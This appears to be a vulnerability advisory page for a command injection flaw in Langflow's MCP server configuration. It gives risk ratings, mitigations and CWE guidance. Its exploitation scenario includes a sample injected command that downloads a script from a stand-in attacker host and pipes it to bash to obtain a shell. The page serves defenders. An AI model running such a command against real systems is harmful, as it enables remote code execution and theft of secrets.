CVE-2026-17623: Langflow: MCP config command injection allows RCE
HIGHIBM Langflow OSS versions 1.0.0 through 1.10.3 fail to validate the command field in MCP server configurations, letting any authenticated user execute arbitrary OS commands on the host running the platform. This matters because Langflow is a widely deployed low-code agent/LLM orchestration framework, and the flaw requires only low privileges, no user interaction, and network access (CVSS 8.8, AC:L/PR:L/UI:N) — a low bar for anyone with a valid account, including compromised or over-permissioned service credentials. There's no confirmed public exploit or Nuclei template yet, and CISA has scored it TRACK rather than flagged it for KEV, but the 41st EPSS percentile plus the trivial exploit path (edit a config field, get shell) means it will likely be weaponized once technical detail surfaces. Patch to a version beyond 1.10.3 immediately; if patching is delayed, restrict who can create or edit MCP server configurations, run Langflow's process under a least-privilege service account, and monitor for unexpected child-process spawns from the Langflow host as a detection signal.
What is the risk?
High risk for organizations self-hosting Langflow with multi-user access. The vulnerability requires only low-privilege authentication (not admin), no user interaction, and is remotely exploitable over the network — a combination that historically leads to rapid exploitation once a PoC circulates. Impact is complete (C:H/I:H/A:H): full command execution on the host process. Mitigating factors are the absence of a public exploit or scanner signature today and CISA's non-urgent SSVC 'TRACK' rating, but these can change quickly for a low-complexity command injection in a popular open-source AI framework.
How does the attack unfold?
What systems are affected?
| Package | Ecosystem | Vulnerable Range | Patched |
|---|---|---|---|
| Langflow | pip | — | No patch |
Do you use Langflow? You're affected.
How severe is it?
What is the attack surface?
What should I do?
1 step-
1) Upgrade Langflow to a version newer than 1.10.3 as soon as IBM publishes a fix (track the IBM support bulletin). 2) Until patched, restrict MCP server configuration creation/editing to trusted administrators only via RBAC. 3) Run the Langflow process with a non-root, least-privilege service account and isolate it in a container/VM with no unnecessary network egress. 4) Audit existing MCP server configs for unexpected or malformed 'command' fields. 5) Monitor host-level EDR/auditd logs for anomalous child processes spawned by the Langflow service. 6) Restrict network exposure of the Langflow admin/API surface to trusted networks (VPN/allowlist) rather than the open internet.
What does CISA's SSVC say?
Source: CISA Vulnrichment (SSVC v2.0). Decision based on the CISA Coordinator decision tree.
How is it classified?
Which compliance frameworks are affected?
This CVE is relevant to:
Frequently Asked Questions
What is CVE-2026-17623?
IBM Langflow OSS versions 1.0.0 through 1.10.3 fail to validate the command field in MCP server configurations, letting any authenticated user execute arbitrary OS commands on the host running the platform. This matters because Langflow is a widely deployed low-code agent/LLM orchestration framework, and the flaw requires only low privileges, no user interaction, and network access (CVSS 8.8, AC:L/PR:L/UI:N) — a low bar for anyone with a valid account, including compromised or over-permissioned service credentials. There's no confirmed public exploit or Nuclei template yet, and CISA has scored it TRACK rather than flagged it for KEV, but the 41st EPSS percentile plus the trivial exploit path (edit a config field, get shell) means it will likely be weaponized once technical detail surfaces. Patch to a version beyond 1.10.3 immediately; if patching is delayed, restrict who can create or edit MCP server configurations, run Langflow's process under a least-privilege service account, and monitor for unexpected child-process spawns from the Langflow host as a detection signal.
Is CVE-2026-17623 actively exploited?
No confirmed active exploitation of CVE-2026-17623 has been reported, but organizations should still patch proactively.
How to fix CVE-2026-17623?
1) Upgrade Langflow to a version newer than 1.10.3 as soon as IBM publishes a fix (track the IBM support bulletin). 2) Until patched, restrict MCP server configuration creation/editing to trusted administrators only via RBAC. 3) Run the Langflow process with a non-root, least-privilege service account and isolate it in a container/VM with no unnecessary network egress. 4) Audit existing MCP server configs for unexpected or malformed 'command' fields. 5) Monitor host-level EDR/auditd logs for anomalous child processes spawned by the Langflow service. 6) Restrict network exposure of the Langflow admin/API surface to trusted networks (VPN/allowlist) rather than the open internet.
What systems are affected by CVE-2026-17623?
This vulnerability affects the following AI/ML architecture patterns: agent frameworks, tool/plugin orchestration, model serving.
What is the CVSS score for CVE-2026-17623?
CVE-2026-17623 has a CVSS v3.1 base score of 8.8 (HIGH). The EPSS exploitation probability is 0.96%.
What is the AI security impact?
Affected AI Architectures
MITRE ATLAS Techniques
AML.T0012 Valid Accounts AML.T0050 Command and Scripting Interpreter AML.T0053 AI Agent Tool Invocation AML.T0081 Modify AI Agent Configuration Compliance Controls Affected
What are the technical details?
Original Advisory
IBM Langflow OSS 1.0.0 through 1.10.3 could allow a remote authenticated attacker to execute arbitrary commands due to improper validation of the command field in MCP server configurations.
Exploitation Scenario
An attacker obtains or is granted a low-privilege Langflow user account (e.g., via a shared demo instance, a phished credential, or an over-provisioned team account). They navigate to the MCP server configuration panel or call the underlying API directly, and instead of a legitimate binary path, they inject a shell command chain (e.g., `curl attacker.com/payload.sh | bash`) into the command field. When Langflow parses and executes that MCP server configuration to make the tool available to an agent, the injected command runs with the privileges of the Langflow backend process, giving the attacker a reverse shell, access to any environment secrets (API keys, DB credentials) available to the process, and a foothold for lateral movement into connected systems.
Weaknesses (CWE)
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')
Primary
CWE-78 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'): The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component.
- [Architecture and Design] If at all possible, use library calls rather than external processes to recreate the desired functionality.
- [Architecture and Design, Operation] Run the code in a "jail" or similar sandbox environment that enforces strict boundaries between the process and the operating system. This may effectively restrict which files can be accessed in a particular directory or which commands can be executed by the software. OS-level examples include the Unix chroot jail, AppArmor, and SELinux. In general, managed code may provide some protection. For example, java.io.FilePermission in the Java SecurityManager allows the software to specify restrictions on file operations. This may not be a feasible solution, and it only limits the impact to the operating system; the rest of the application may still be subject to compromise. Be careful to avoid CWE-243 and other weaknesses related to jails.
Source: MITRE CWE corpus.
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H References
Timeline
Related Vulnerabilities
CVE-2026-10561 10.0 Langflow: auth bypass + unauthenticated RCE (CVSS 10)
Same package: langflow CVE-2026-10134 10.0 Langflow: unauthenticated RCE via tool_code injection
Same package: langflow CVE-2026-33309 9.9 langflow: Path Traversal enables file access
Same package: langflow CVE-2026-55255 9.9 Langflow: IDOR allows cross-user flow execution
Same package: langflow CVE-2026-7873 9.9 Langflow: authenticated RCE enables credential theft
Same package: langflow